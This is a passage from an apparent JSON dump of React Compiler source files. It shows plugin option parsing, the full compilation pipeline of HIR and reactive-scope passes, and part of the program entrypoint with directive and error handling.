logEvent: (filename: string | null, event: LoggerEvent) => void;\n  debugLogIRs?: (value: CompilerPipelineValue) => void;\n};\n\nexport const defaultOptions: ParsedPluginOptions = {\n  compilationMode: 'infer',\n  panicThreshold: 'none',\n  environment: parseEnvironmentConfig({}).unwrap(),\n  logger: null,\n  gating: null,\n  noEmit: false,\n  outputMode: null,\n  dynamicGating: null,\n  eslintSuppressionRules: null,\n  flowSuppressions: true,\n  ignoreUseNoForget: false,\n  sources: filename => {\n    return filename.indexOf('node_modules') === -1;\n  },\n  enableReanimatedCheck: true,\n  customOptOutDirectives: null,\n  target: '19',\n};\n\nexport function parsePluginOptions(obj: unknown): ParsedPluginOptions {\n  if (obj == null || typeof obj !== 'object') {\n    return defaultOptions;\n  }\n  const parsedOptions = Object.create(null);\n  for (let [key, value] of Object.entries(obj)) {\n    if (typeof value === 'string') {\n      // normalize string configs to be case insensitive\n      value = value.toLowerCase();\n    }\n    if (isCompilerFlag(key)) {\n      switch (key) {\n        case 'environment': {\n          const environmentResult = parseEnvironmentConfig(value);\n          if (environmentResult.isErr()) {\n            CompilerError.throwInvalidConfig({\n              reason:\n                'Error in validating environment config. This is an advanced setting and not meant to be used directly',\n              description: environmentResult.unwrapErr().toString(),\n              suggestions: null,\n              loc: null,\n            });\n          }\n          parsedOptions[key] = environmentResult.unwrap();\n          break;\n        }\n        case 'target': {\n          parsedOptions[key] = parseTargetConfig(value);\n          break;\n        }\n        case 'gating': {\n          if (value == null) {\n            parsedOptions[key] = null;\n          } else {\n            parsedOptions[key] = tryParseExternalFunction(value);\n          }\n          break;\n        }\n        case 'dynamicGating': {\n          if (value == null) {\n            parsedOptions[key] = null;\n          } else {\n            const result = DynamicGatingOptionsSchema.safeParse(value);\n            if (result.success) {\n              parsedOptions[key] = result.data;\n            } else {\n              CompilerError.throwInvalidConfig({\n                reason:\n                  'Could not parse dynamic gating. Update React Compiler config to fix the error',\n                description: `${fromZodError(result.error)}`,\n                loc: null,\n                suggestions: null,\n              });\n            }\n          }\n          break;\n        }\n        case 'customOptOutDirectives': {\n          const result = CustomOptOutDirectiveSchema.safeParse(value);\n          if (result.success) {\n            parsedOptions[key] = result.data;\n          } else {\n            CompilerError.throwInvalidConfig({\n              reason:\n                'Could not parse custom opt out directives. Update React Compiler config to fix the error',\n              description: `${fromZodError(result.error)}`,\n              loc: null,\n              suggestions: null,\n            });\n          }\n          break;\n        }\n        default: {\n          parsedOptions[key] = value;\n        }\n      }\n    }\n  }\n  return {...defaultOptions, ...parsedOptions};\n}\n\nexport function parseTargetConfig(value: unknown): CompilerReactTarget {\n  const parsed = CompilerReactTargetSchema.safeParse(value);\n  if (parsed.success) {\n    return parsed.data;\n  } else {\n    CompilerError.throwInvalidConfig({\n      reason: 'Not a valid target',\n      description: `${fromZodError(parsed.error)}`,\n      suggestions: null,\n      loc: null,\n    });\n  }\n}\n\nfunction isCompilerFlag(s: string): s is keyof PluginOptions {\n  return hasOwnProperty(defaultOptions, s);\n}\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/Entrypoint/Pipeline.ts",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n */\n\nimport {NodePath} from '@babel/traverse';\nimport * as t from '@babel/types';\nimport prettyFormat from 'pretty-format';\nimport {CompilerOutputMode, Logger, ProgramContext} from '.';\nimport {CompilerError} from '../CompilerError';\nimport {Err, Ok, Result} from '../Utils/Result';\nimport {\n  HIRFunction,\n  ReactiveFunction,\n  assertConsistentIdentifiers,\n  assertTerminalPredsExist,\n  assertTerminalSuccessorsExist,\n  assertValidBlockNesting,\n  assertValidMutableRanges,\n  buildReactiveScopeTerminalsHIR,\n  lower,\n  mergeConsecutiveBlocks,\n  mergeOverlappingReactiveScopesHIR,\n  pruneUnusedLabelsHIR,\n} from '../HIR';\nimport {\n  Environment,\n  EnvironmentConfig,\n  ReactFunctionType,\n} from '../HIR/Environment';\nimport {findContextIdentifiers} from '../HIR/FindContextIdentifiers';\nimport {\n  analyseFunctions,\n  dropManualMemoization,\n  inferReactivePlaces,\n  inlineImmediatelyInvokedFunctionExpressions,\n} from '../Inference';\nimport {\n  constantPropagation,\n  deadCodeElimination,\n  pruneMaybeThrows,\n} from '../Optimization';\nimport {\n  CodegenFunction,\n  alignObjectMethodScopes,\n  assertScopeInstructionsWithinScopes,\n  assertWellFormedBreakTargets,\n  buildReactiveFunction,\n  codegenFunction,\n  extractScopeDeclarationsFromDestructuring,\n  inferReactiveScopeVariables,\n  memoizeFbtAndMacroOperandsInSameScope,\n  mergeReactiveScopesThatInvalidateTogether,\n  promoteUsedTemporaries,\n  propagateEarlyReturns,\n  pruneHoistedContexts,\n  pruneNonEscapingScopes,\n  pruneNonReactiveDependencies,\n  pruneUnusedLValues,\n  pruneUnusedLabels,\n  pruneUnusedScopes,\n  renameVariables,\n} from '../ReactiveScopes';\nimport {alignMethodCallScopes} from '../ReactiveScopes/AlignMethodCallScopes';\nimport {alignReactiveScopesToBlockScopesHIR} from '../ReactiveScopes/AlignReactiveScopesToBlockScopesHIR';\nimport {flattenReactiveLoopsHIR} from '../ReactiveScopes/FlattenReactiveLoopsHIR';\nimport {flattenScopesWithHooksOrUseHIR} from '../ReactiveScopes/FlattenScopesWithHooksOrUseHIR';\nimport {pruneAlwaysInvalidatingScopes} from '../ReactiveScopes/PruneAlwaysInvalidatingScopes';\nimport {stabilizeBlockIds} from '../ReactiveScopes/StabilizeBlockIds';\nimport {\n  eliminateRedundantPhi,\n  enterSSA,\n  rewriteInstructionKindsBasedOnReassignment,\n} from '../SSA';\nimport {inferTypes} from '../TypeInference';\nimport {\n  validateContextVariableLValues,\n  validateHooksUsage,\n  validateNoCapitalizedCalls,\n  validateNoRefAccessInRender,\n  validateNoSetStateInRender,\n  validatePreservedManualMemoization,\n  validateUseMemo,\n} from '../Validation';\nimport {validateLocalsNotReassignedAfterRender} from '../Validation/ValidateLocalsNotReassignedAfterRender';\nimport {outlineFunctions} from '../Optimization/OutlineFunctions';\nimport {validateNoSetStateInEffects} from '../Validation/ValidateNoSetStateInEffects';\nimport {validateNoJSXInTryStatement} from '../Validation/ValidateNoJSXInTryStatement';\nimport {propagateScopeDependenciesHIR} from '../HIR/PropagateScopeDependenciesHIR';\nimport {outlineJSX} from '../Optimization/OutlineJsx';\nimport {optimizePropsMethodCalls} from '../Optimization/OptimizePropsMethodCalls';\nimport {validateStaticComponents} from '../Validation/ValidateStaticComponents';\nimport {validateNoFreezingKnownMutableFunctions} from '../Validation/ValidateNoFreezingKnownMutableFunctions';\nimport {inferMutationAliasingEffects} from '../Inference/InferMutationAliasingEffects';\nimport {inferMutationAliasingRanges} from '../Inference/InferMutationAliasingRanges';\nimport {validateNoDerivedComputationsInEffects} from '../Validation/ValidateNoDerivedComputationsInEffects';\nimport {validateNoDerivedComputationsInEffects_exp} from '../Validation/ValidateNoDerivedComputationsInEffects_exp';\nimport {nameAnonymousFunctions} from '../Transform/NameAnonymousFunctions';\nimport {optimizeForSSR} from '../Optimization/OptimizeForSSR';\nimport {validateExhaustiveDependencies} from '../Validation/ValidateExhaustiveDependencies';\nimport {validateSourceLocations} from '../Validation/ValidateSourceLocations';\n\nexport type CompilerPipelineValue =\n  | {kind: 'ast'; name: string; value: CodegenFunction}\n  | {kind: 'hir'; name: string; value: HIRFunction}\n  | {kind: 'reactive'; name: string; value: ReactiveFunction}\n  | {kind: 'debug'; name: string; value: string};\n\nfunction run(\n  func: NodePath<\n    t.FunctionDeclaration | t.ArrowFunctionExpression | t.FunctionExpression\n  >,\n  config: EnvironmentConfig,\n  fnType: ReactFunctionType,\n  mode: CompilerOutputMode,\n  programContext: ProgramContext,\n  logger: Logger | null,\n  filename: string | null,\n  code: string | null,\n): Result<CodegenFunction, CompilerError> {\n  const contextIdentifiers = findContextIdentifiers(func);\n  const env = new Environment(\n    func.scope,\n    fnType,\n    mode,\n    config,\n    contextIdentifiers,\n    func,\n    logger,\n    filename,\n    code,\n    programContext,\n  );\n  env.logger?.debugLogIRs?.({\n    kind: 'debug',\n    name: 'EnvironmentConfig',\n    value: prettyFormat(env.config),\n  });\n  return runWithEnvironment(func, env);\n}\n\n/*\n * Note: this is split from run() to make `config` out of scope, so that all\n * access to feature flags has to be through the Environment for consistency.\n */\nfunction runWithEnvironment(\n  func: NodePath<\n    t.FunctionDeclaration | t.ArrowFunctionExpression | t.FunctionExpression\n  >,\n  env: Environment,\n): Result<CodegenFunction, CompilerError> {\n  const log = (value: CompilerPipelineValue): void => {\n    env.logger?.debugLogIRs?.(value);\n  };\n  const hir = lower(func, env);\n  log({kind: 'hir', name: 'HIR', value: hir});\n\n  pruneMaybeThrows(hir);\n  log({kind: 'hir', name: 'PruneMaybeThrows', value: hir});\n\n  validateContextVariableLValues(hir);\n  validateUseMemo(hir);\n\n  if (env.enableDropManualMemoization) {\n    dropManualMemoization(hir);\n    log({kind: 'hir', name: 'DropManualMemoization', value: hir});\n  }\n\n  inlineImmediatelyInvokedFunctionExpressions(hir);\n  log({\n    kind: 'hir',\n    name: 'InlineImmediatelyInvokedFunctionExpressions',\n    value: hir,\n  });\n\n  mergeConsecutiveBlocks(hir);\n  log({kind: 'hir', name: 'MergeConsecutiveBlocks', value: hir});\n\n  assertConsistentIdentifiers(hir);\n  assertTerminalSuccessorsExist(hir);\n\n  enterSSA(hir);\n  log({kind: 'hir', name: 'SSA', value: hir});\n\n  eliminateRedundantPhi(hir);\n  log({kind: 'hir', name: 'EliminateRedundantPhi', value: hir});\n\n  assertConsistentIdentifiers(hir);\n\n  constantPropagation(hir);\n  log({kind: 'hir', name: 'ConstantPropagation', value: hir});\n\n  inferTypes(hir);\n  log({kind: 'hir', name: 'InferTypes', value: hir});\n\n  if (env.enableValidations) {\n    if (env.config.validateHooksUsage) {\n      validateHooksUsage(hir);\n    }\n    if (env.config.validateNoCapitalizedCalls) {\n      validateNoCapitalizedCalls(hir);\n    }\n  }\n\n  optimizePropsMethodCalls(hir);\n  log({kind: 'hir', name: 'OptimizePropsMethodCalls', value: hir});\n\n  analyseFunctions(hir);\n  log({kind: 'hir', name: 'AnalyseFunctions', value: hir});\n\n  inferMutationAliasingEffects(hir);\n  log({kind: 'hir', name: 'InferMutationAliasingEffects', value: hir});\n\n  if (env.outputMode === 'ssr') {\n    optimizeForSSR(hir);\n    log({kind: 'hir', name: 'OptimizeForSSR', value: hir});\n  }\n\n  // Note: Has to come after infer reference effects because \"dead\" code may still affect inference\n  deadCodeElimination(hir);\n  log({kind: 'hir', name: 'DeadCodeElimination', value: hir});\n  pruneMaybeThrows(hir);\n  log({kind: 'hir', name: 'PruneMaybeThrows', value: hir});\n\n  inferMutationAliasingRanges(hir, {\n    isFunctionExpression: false,\n  });\n  log({kind: 'hir', name: 'InferMutationAliasingRanges', value: hir});\n  if (env.enableValidations) {\n    validateLocalsNotReassignedAfterRender(hir);\n\n    if (env.config.assertValidMutableRanges) {\n      assertValidMutableRanges(hir);\n    }\n\n    if (env.config.validateRefAccessDuringRender) {\n      validateNoRefAccessInRender(hir);\n    }\n\n    if (env.config.validateNoSetStateInRender) {\n      validateNoSetStateInRender(hir);\n    }\n\n    if (\n      env.config.validateNoDerivedComputationsInEffects_exp &&\n      env.outputMode === 'lint'\n    ) {\n      env.logErrors(validateNoDerivedComputationsInEffects_exp(hir));\n    } else if (env.config.validateNoDerivedComputationsInEffects) {\n      validateNoDerivedComputationsInEffects(hir);\n    }\n\n    if (env.config.validateNoSetStateInEffects && env.outputMode === 'lint') {\n      env.logErrors(validateNoSetStateInEffects(hir, env));\n    }\n\n    if (env.config.validateNoJSXInTryStatements && env.outputMode === 'lint') {\n      env.logErrors(validateNoJSXInTryStatement(hir));\n    }\n\n    validateNoFreezingKnownMutableFunctions(hir);\n  }\n\n  inferReactivePlaces(hir);\n  log({kind: 'hir', name: 'InferReactivePlaces', value: hir});\n\n  if (env.enableValidations) {\n    if (\n      env.config.validateExhaustiveMemoizationDependencies ||\n      env.config.validateExhaustiveEffectDependencies\n    ) {\n      // NOTE: this relies on reactivity inference running first\n      validateExhaustiveDependencies(hir);\n    }\n  }\n\n  rewriteInstructionKindsBasedOnReassignment(hir);\n  log({\n    kind: 'hir',\n    name: 'RewriteInstructionKindsBasedOnReassignment',\n    value: hir,\n  });\n\n  if (\n    env.enableValidations &&\n    env.config.validateStaticComponents &&\n    env.outputMode === 'lint'\n  ) {\n    env.logErrors(validateStaticComponents(hir));\n  }\n\n  if (env.enableMemoization) {\n    /**\n     * Only create reactive scopes (which directly map to generated memo blocks)\n     * if inferred memoization is enabled. This makes all later passes which\n     * transform reactive-scope labeled instructions no-ops.\n     */\n    inferReactiveScopeVariables(hir);\n    log({kind: 'hir', name: 'InferReactiveScopeVariables', value: hir});\n  }\n\n  const fbtOperands = memoizeFbtAndMacroOperandsInSameScope(hir);\n  log({\n    kind: 'hir',\n    name: 'MemoizeFbtAndMacroOperandsInSameScope',\n    value: hir,\n  });\n\n  if (env.config.enableJsxOutlining) {\n    outlineJSX(hir);\n  }\n\n  if (env.config.enableNameAnonymousFunctions) {\n    nameAnonymousFunctions(hir);\n    log({\n      kind: 'hir',\n      name: 'NameAnonymousFunctions',\n      value: hir,\n    });\n  }\n\n  if (env.config.enableFunctionOutlining) {\n    outlineFunctions(hir, fbtOperands);\n    log({kind: 'hir', name: 'OutlineFunctions', value: hir});\n  }\n\n  alignMethodCallScopes(hir);\n  log({\n    kind: 'hir',\n    name: 'AlignMethodCallScopes',\n    value: hir,\n  });\n\n  alignObjectMethodScopes(hir);\n  log({\n    kind: 'hir',\n    name: 'AlignObjectMethodScopes',\n    value: hir,\n  });\n\n  pruneUnusedLabelsHIR(hir);\n  log({\n    kind: 'hir',\n    name: 'PruneUnusedLabelsHIR',\n    value: hir,\n  });\n\n  alignReactiveScopesToBlockScopesHIR(hir);\n  log({\n    kind: 'hir',\n    name: 'AlignReactiveScopesToBlockScopesHIR',\n    value: hir,\n  });\n\n  mergeOverlappingReactiveScopesHIR(hir);\n  log({\n    kind: 'hir',\n    name: 'MergeOverlappingReactiveScopesHIR',\n    value: hir,\n  });\n  assertValidBlockNesting(hir);\n\n  buildReactiveScopeTerminalsHIR(hir);\n  log({\n    kind: 'hir',\n    name: 'BuildReactiveScopeTerminalsHIR',\n    value: hir,\n  });\n\n  assertValidBlockNesting(hir);\n\n  flattenReactiveLoopsHIR(hir);\n  log({\n    kind: 'hir',\n    name: 'FlattenReactiveLoopsHIR',\n    value: hir,\n  });\n\n  flattenScopesWithHooksOrUseHIR(hir);\n  log({\n    kind: 'hir',\n    name: 'FlattenScopesWithHooksOrUseHIR',\n    value: hir,\n  });\n  assertTerminalSuccessorsExist(hir);\n  assertTerminalPredsExist(hir);\n\n  propagateScopeDependenciesHIR(hir);\n  log({\n    kind: 'hir',\n    name: 'PropagateScopeDependenciesHIR',\n    value: hir,\n  });\n\n  const reactiveFunction = buildReactiveFunction(hir);\n  log({\n    kind: 'reactive',\n    name: 'BuildReactiveFunction',\n    value: reactiveFunction,\n  });\n\n  assertWellFormedBreakTargets(reactiveFunction);\n\n  pruneUnusedLabels(reactiveFunction);\n  log({\n    kind: 'reactive',\n    name: 'PruneUnusedLabels',\n    value: reactiveFunction,\n  });\n  assertScopeInstructionsWithinScopes(reactiveFunction);\n\n  pruneNonEscapingScopes(reactiveFunction);\n  log({\n    kind: 'reactive',\n    name: 'PruneNonEscapingScopes',\n    value: reactiveFunction,\n  });\n\n  pruneNonReactiveDependencies(reactiveFunction);\n  log({\n    kind: 'reactive',\n    name: 'PruneNonReactiveDependencies',\n    value: reactiveFunction,\n  });\n\n  pruneUnusedScopes(reactiveFunction);\n  log({\n    kind: 'reactive',\n    name: 'PruneUnusedScopes',\n    value: reactiveFunction,\n  });\n\n  mergeReactiveScopesThatInvalidateTogether(reactiveFunction);\n  log({\n    kind: 'reactive',\n    name: 'MergeReactiveScopesThatInvalidateTogether',\n    value: reactiveFunction,\n  });\n\n  pruneAlwaysInvalidatingScopes(reactiveFunction);\n  log({\n    kind: 'reactive',\n    name: 'PruneAlwaysInvalidatingScopes',\n    value: reactiveFunction,\n  });\n\n  propagateEarlyReturns(reactiveFunction);\n  log({\n    kind: 'reactive',\n    name: 'PropagateEarlyReturns',\n    value: reactiveFunction,\n  });\n\n  pruneUnusedLValues(reactiveFunction);\n  log({\n    kind: 'reactive',\n    name: 'PruneUnusedLValues',\n    value: reactiveFunction,\n  });\n\n  promoteUsedTemporaries(reactiveFunction);\n  log({\n    kind: 'reactive',\n    name: 'PromoteUsedTemporaries',\n    value: reactiveFunction,\n  });\n\n  extractScopeDeclarationsFromDestructuring(reactiveFunction);\n  log({\n    kind: 'reactive',\n    name: 'ExtractScopeDeclarationsFromDestructuring',\n    value: reactiveFunction,\n  });\n\n  stabilizeBlockIds(reactiveFunction);\n  log({\n    kind: 'reactive',\n    name: 'StabilizeBlockIds',\n    value: reactiveFunction,\n  });\n\n  const uniqueIdentifiers = renameVariables(reactiveFunction);\n  log({\n    kind: 'reactive',\n    name: 'RenameVariables',\n    value: reactiveFunction,\n  });\n\n  pruneHoistedContexts(reactiveFunction);\n  log({\n    kind: 'reactive',\n    name: 'PruneHoistedContexts',\n    value: reactiveFunction,\n  });\n\n  if (\n    env.config.enablePreserveExistingMemoizationGuarantees ||\n    env.config.validatePreserveExistingMemoizationGuarantees\n  ) {\n    validatePreservedManualMemoization(reactiveFunction);\n  }\n\n  const ast = codegenFunction(reactiveFunction, {\n    uniqueIdentifiers,\n    fbtOperands,\n  });\n  log({kind: 'ast', name: 'Codegen', value: ast});\n  for (const outlined of ast.outlined) {\n    log({kind: 'ast', name: 'Codegen (outlined)', value: outlined.fn});\n  }\n\n  if (env.config.validateSourceLocations) {\n    validateSourceLocations(func, ast, env);\n  }\n\n  /**\n   * This flag should be only set for unit / fixture tests to check\n   * that Forget correctly handles unexpected errors (e.g. exceptions\n   * thrown by babel functions or other unexpected exceptions).\n   */\n  if (env.config.throwUnknownException__testonly) {\n    throw new Error('unexpected error');\n  }\n\n  if (env.hasErrors()) {\n    return Err(env.aggregateErrors());\n  }\n  return Ok(ast);\n}\n\nexport function compileFn(\n  func: NodePath<\n    t.FunctionDeclaration | t.ArrowFunctionExpression | t.FunctionExpression\n  >,\n  config: EnvironmentConfig,\n  fnType: ReactFunctionType,\n  mode: CompilerOutputMode,\n  programContext: ProgramContext,\n  logger: Logger | null,\n  filename: string | null,\n  code: string | null,\n): Result<CodegenFunction, CompilerError> {\n  return run(\n    func,\n    config,\n    fnType,\n    mode,\n    programContext,\n    logger,\n    filename,\n    code,\n  );\n}\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/Entrypoint/Program.ts",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n */\n\nimport {NodePath} from '@babel/core';\nimport * as t from '@babel/types';\nimport {\n  CompilerError,\n  CompilerErrorDetail,\n  ErrorCategory,\n} from '../CompilerError';\nimport {ExternalFunction, ReactFunctionType} from '../HIR/Environment';\nimport {CodegenFunction} from '../ReactiveScopes';\nimport {isComponentDeclaration} from '../Utils/ComponentDeclaration';\nimport {isHookDeclaration} from '../Utils/HookDeclaration';\nimport {assertExhaustive} from '../Utils/utils';\nimport {insertGatedFunctionDeclaration} from './Gating';\nimport {\n  addImportsToProgram,\n  ProgramContext,\n  validateRestrictedImports,\n} from './Imports';\nimport {\n  CompilerOutputMode,\n  CompilerReactTarget,\n  ParsedPluginOptions,\n  PluginOptions,\n} from './Options';\nimport {compileFn} from './Pipeline';\nimport {\n  filterSuppressionsThatAffectFunction,\n  findProgramSuppressions,\n  suppressionsToCompilerError,\n} from './Suppression';\nimport {GeneratedSource} from '../HIR';\nimport {Err, Ok, Result} from '../Utils/Result';\n\nexport type CompilerPass = {\n  opts: ParsedPluginOptions;\n  filename: string | null;\n  comments: Array<t.CommentBlock | t.CommentLine>;\n  code: string | null;\n};\nexport const OPT_IN_DIRECTIVES = new Set(['use forget', 'use memo']);\nexport const OPT_OUT_DIRECTIVES = new Set(['use no forget', 'use no memo']);\nconst DYNAMIC_GATING_DIRECTIVE = new RegExp('^use memo if\\\\(([^\\\\)]*)\\\\)$');\n\nexport function tryFindDirectiveEnablingMemoization(\n  directives: Array<t.Directive>,\n  opts: ParsedPluginOptions,\n): Result<t.Directive | null, CompilerError> {\n  const optIn = directives.find(directive =>\n    OPT_IN_DIRECTIVES.has(directive.value.value),\n  );\n  if (optIn != null) {\n    return Ok(optIn);\n  }\n  const dynamicGating = findDirectivesDynamicGating(directives, opts);\n  if (dynamicGating.isOk()) {\n    return Ok(dynamicGating.unwrap()?.directive ?? null);\n  } else {\n    return Err(dynamicGating.unwrapErr());\n  }\n}\n\nexport function findDirectiveDisablingMemoization(\n  directives: Array<t.Directive>,\n  {customOptOutDirectives}: PluginOptions,\n): t.Directive | null {\n  if (customOptOutDirectives != null) {\n    return (\n      directives.find(\n        directive =>\n          customOptOutDirectives.indexOf(directive.value.value) !== -1,\n      ) ?? null\n    );\n  }\n  return (\n    directives.find(directive =>\n      OPT_OUT_DIRECTIVES.has(directive.value.value),\n    ) ?? null\n  );\n}\nfunction findDirectivesDynamicGating(\n  directives: Array<t.Directive>,\n  opts: ParsedPluginOptions,\n): Result<\n  {\n    gating: ExternalFunction;\n    directive: t.Directive;\n  } | null,\n  CompilerError\n> {\n  if (opts.dynamicGating === null) {\n    return Ok(null);\n  }\n  const errors = new CompilerError();\n  const result: Array<{directive: t.Directive; match: string}> = [];\n\n  for (const directive of directives) {\n    const maybeMatch = DYNAMIC_GATING_DIRECTIVE.exec(directive.value.value);\n    if (maybeMatch != null && maybeMatch[1] != null) {\n      if (t.isValidIdentifier(maybeMatch[1])) {\n        result.push({directive, match: maybeMatch[1]});\n      } else {\n        errors.push({\n          reason: `Dynamic gating directive is not a valid JavaScript identifier`,\n          description: `Found '${directive.value.value}'`,\n          category: ErrorCategory.Gating,\n          loc: directive.loc ?? null,\n          suggestions: null,\n        });\n      }\n    }\n  }\n  if (errors.hasAnyErrors()) {\n    return Err(errors);\n  } else if (result.length > 1) {\n    const error = new CompilerError();\n    error.push({\n      reason: `Multiple dynamic gating directives found`,\n      description: `Expected a single directive but found [${result\n        .map(r => r.directive.value.value)\n        .join(', ')}]`,\n      category: ErrorCategory.Gating,\n      loc: result[0].directive.loc ?? null,\n      suggestions: null,\n    });\n    return Err(error);\n  } else if (result.length === 1) {\n    return Ok({\n      gating: {\n        source: opts.dynamicGating.source,\n        importSpecifierName: result[0].match,\n      },\n      directive: result[0].directive,\n    });\n  } else {\n    return Ok(null);\n  }\n}\n\nfunction isError(err: unknown): boolean {\n  return !(err instanceof CompilerError) || err.hasErrors();\n}\n\nfunction isConfigError(err: unknown): boolean {\n  if (err instanceof CompilerError) {\n    return err.details.some(detail => detail.category === ErrorCategory.Config);\n  }\n  return false;\n}\n\nexport type BabelFn =\n  | NodePath<t.FunctionDeclaration>\n  | NodePath<t.FunctionExpression>\n  | NodePath<t.ArrowFunctionExpression>;\n\nexport type CompileResult = {\n  /**\n   * Distinguishes existing functions that were compiled ('original') from\n   * functions which were outlined. Only original functions need to be gated\n   * if gating mode is enabled.\n   */\n  kind: 'original' | 'outlined';\n  originalFn: BabelFn;\n  compiledFn: CodegenFunction;\n};\n\nfunction logError(\n  err: unknown,\n  context: {\n    opts: PluginOptions;\n    filename: string | null;\n  },\n  fnLoc: t.SourceLocation | null,\n): void {\n  if (context.opts.logger) {\n    if (err instanceof CompilerError) {\n      for (const detail of err.details) {\n        context.opts.logger.logEvent(context.filename, {\n          kind: 'CompileError',\n          fnLoc,\n          detail,\n        });\n      }\n    } else {\n      let stringifiedError;\n      if (err instanceof Error) {\n        stringifiedError = err.stack ?? err.message;\n      } else {\n        stringifiedError = err?.toString() ?? '[ null ]';\n      }\n\n      context.opts.logger.logEvent(context.filename, {\n        kind: 'PipelineError',\n        fnLoc,\n        data: stringifiedError,\n      });\n    }\n  }\n}\nfunction handleError(\n  err: unknown,\n  context: {\n    opts: PluginOptions;\n    filename: string | null;\n  },\n  fnLoc: t.SourceLocation | null,\n): void {\n  logError(err, context, fnLoc);\n  if (\n    context.opts.panicThreshold === 'all_errors' ||\n    (context.opts.panicThreshold === 'critical_errors' && isError(err)) ||\n    isConfigError(err) // Always throws regardless of panic threshold\n  ) {\n    throw err;\n  }\n}\n\nexport function createNewFunctionNode(\n  originalFn: BabelFn,\n  compiledFn: CodegenFunction,\n): t.FunctionDeclaration | t.ArrowFunctionExpression | t.FunctionExpression {\n  let transformedFn:\n    | t.FunctionDeclaration\n    | t.ArrowFunctionExpression\n    | t.FunctionExpression;\n  switch (originalFn.node.type) {\n    case 'FunctionDeclaration': {\n      const fn: t.FunctionDeclaration = {\n        type: 'FunctionDeclaration',\n        id: compiledFn.id,\n        loc: originalFn.node.loc ?? null,\n        async: compiledFn.async,\n        generator: compiledFn.generator,\n        params: compiledFn.params,\n        body: compiledFn.body,\n      };\n      transformedFn = fn;\n      break;\n    }\n    case 'ArrowFunctionExpression': {\n      const fn: t.ArrowFunctionExpression = {\n        type: 'ArrowFunctionExpression',\n        loc: originalFn.node.loc ?? null,\n        async: compiledFn.async,\n        generator: compiledFn.generator,\n        params: compiledFn.params,\n        expression: originalFn.node.expression,\n        body: compiledFn.body,\n      };\n      transformedFn = fn;\n      break;\n    }\n    case 'FunctionExpression': {\n      const fn: t.FunctionExpression = {\n        type: 'FunctionExpression',\n        id: compiledFn.id,\n        loc: originalFn.node.loc ?? null,\n        async: compiledFn.async,\n        generator: compiledFn.generator,\n        params: compiledFn.params,\n        body: compiledFn.body,\n      };\n      transformedFn = fn;\n      break;\n    }\n    default: {\n      assertExhaustive(\n        originalFn.node,\n        `Creating unhandled function: ${originalFn.node}`,\n      );\n    }\n  }\n  // Avoid visiting the new transformed version\n  return transformedFn;\n}\n\nfunction insertNewOutlinedFunctionNode(\n  program: NodePath<t.Program>,\n  originalFn: BabelFn,\n  compiledFn: CodegenFunction,\n): BabelFn {\n  switch (originalFn.type) {\n    case 'FunctionDeclaration': {\n      return originalFn.insertAfter(\n        createNewFunctionNode(originalFn, compiledFn),\n      )[0]!;\n    }\n    /**\n     * We can't just append the outlined function as a sibling of the original function if it is an\n     * (Arrow)FunctionExpression parented by a VariableDeclaration, as this would cause its parent\n     * to become a SequenceExpression instead which breaks a bunch of assumptions elsewhere in the\n     * plugin.\n     *\n     * To get around this, we always synthesize a new FunctionDeclaration for the outlined function\n     * and insert it as a true sibling to the original function.\n     */\n    case 'ArrowFunctionExpression':\n    case 'FunctionExpression': {\n      const fn: t.FunctionDeclaration = {\n        type: 'FunctionDeclaration',\n        id: compiledFn.id,\n        loc: originalFn.node.loc ?? null,\n        async: compiledFn.async,\n        generator: compiledFn.generator,\n        params: compiledFn.params,\n        body: compiledFn.body,\n      };\n      const insertedFuncDecl = program.pushContainer('body', [fn])[0]!;\n      CompilerError.invariant(insertedFuncDecl.isFunctionDeclaration(), {\n        reason: 'Expected inserted function declaration',\n        description: `Got: ${insertedFuncDecl}`,\n        loc: insertedFuncDecl.node?.loc ?? GeneratedSource,\n      });\n      return insertedFuncDecl;\n    }\n    default: {\n      assertExhaustive(\n        originalFn,\n        `Inserting unhandled function: ${originalFn}`,\n      );\n    }\n  }\n}\n\nconst DEFAULT_ESLINT_SUPPRESSIONS = [\n  'react-hooks/exhaustive-deps',\n  'react-hooks/rules-of-hooks',\n];\n\nfunction isFilePartOfSources(\n  sources: Array<string> | ((filename: string) => boolean),\n  filename: string,\n): boolean {\n  if (typeof sources === 'function') {\n    return sources(filename);\n  }\n\n  for (const prefix of sources) {\n    if (filename.indexOf(prefix) !== -1) {\n      return true;\n    }\n  }\n\n  return false;\n}\n\n/**\n * Main entrypoint for React Compiler.\n *\n * @param program The Babel program node to compile\n * @param pass Compiler configuration and context\n * @returns Compilation results or null if compilation was skipped\n */\nexport function compileProgram(\n  program: NodePath<t.Program>,\n  pass: CompilerPass,\n): void {\n  /**\n   * This is directly invoked by the react-compiler babel plugin, so exceptions\n   * thrown by this function will fail the babel build.\n   * - call `handleError` if your error is recoverable.\n   *   Unless the error is a warning / info diagnostic, compilation of a function\n   *   / entire file should also be skipped.\n   * - throw an exception if the error is fatal / not recoverable.\n   *   Examples of this are invalid compiler configs or failure to codegen outlined\n   *   functions *after* already emitting optimized components / hooks that invoke\n   *   the outlined functions.\n   */\n  if (shouldSkipCompilation(program, pass)) {\n    return;\n  }\n  const restrictedImportsErr = validateRestrictedImports(\n    program,\n    pass.opts.environment,\n  );\n  if (restrictedImportsErr) {\n    handleError(restrictedImportsErr, pass, null);\n    return;\n  }\n  /*\n   * Record lint errors and critical errors as depending on Forget's config,\n   * we may still need to run Forget's analysis on every function (even if we\n   * have already encountered errors) for reporting.\n   */\n  const suppressions = findProgramSuppressions(\n    pass.comments,\n    /*\n     * If the compiler is validating hooks rules and exhaustive memo dependencies, we don't need to check\n     * for React ESLint suppressions\n     */\n    pass.opts.environment.validateExhaustiveMemoizationDependencies &&\n      pass.opts.environment.validateHooksUsage\n      ? null\n      : (pass.opts.eslintSuppressionRules ?? DEFAULT_ESLINT_SUPPRESSIONS),\n    // Always bail on Flow suppressions\n    pass.opts.flowSuppressions,\n  );\n\n  const programContext = new ProgramContext({\n    program: program,\n    opts: pass.opts,\n    filename: pass.filename,\n    code: pass.code,\n    suppressions,\n    hasModuleScopeOptOut:\n      findDirectiveDisablingMemoization(program.node.directives, pass.opts) !=\n      null,\n  });\n\n  const queue: Array<CompileSource> = 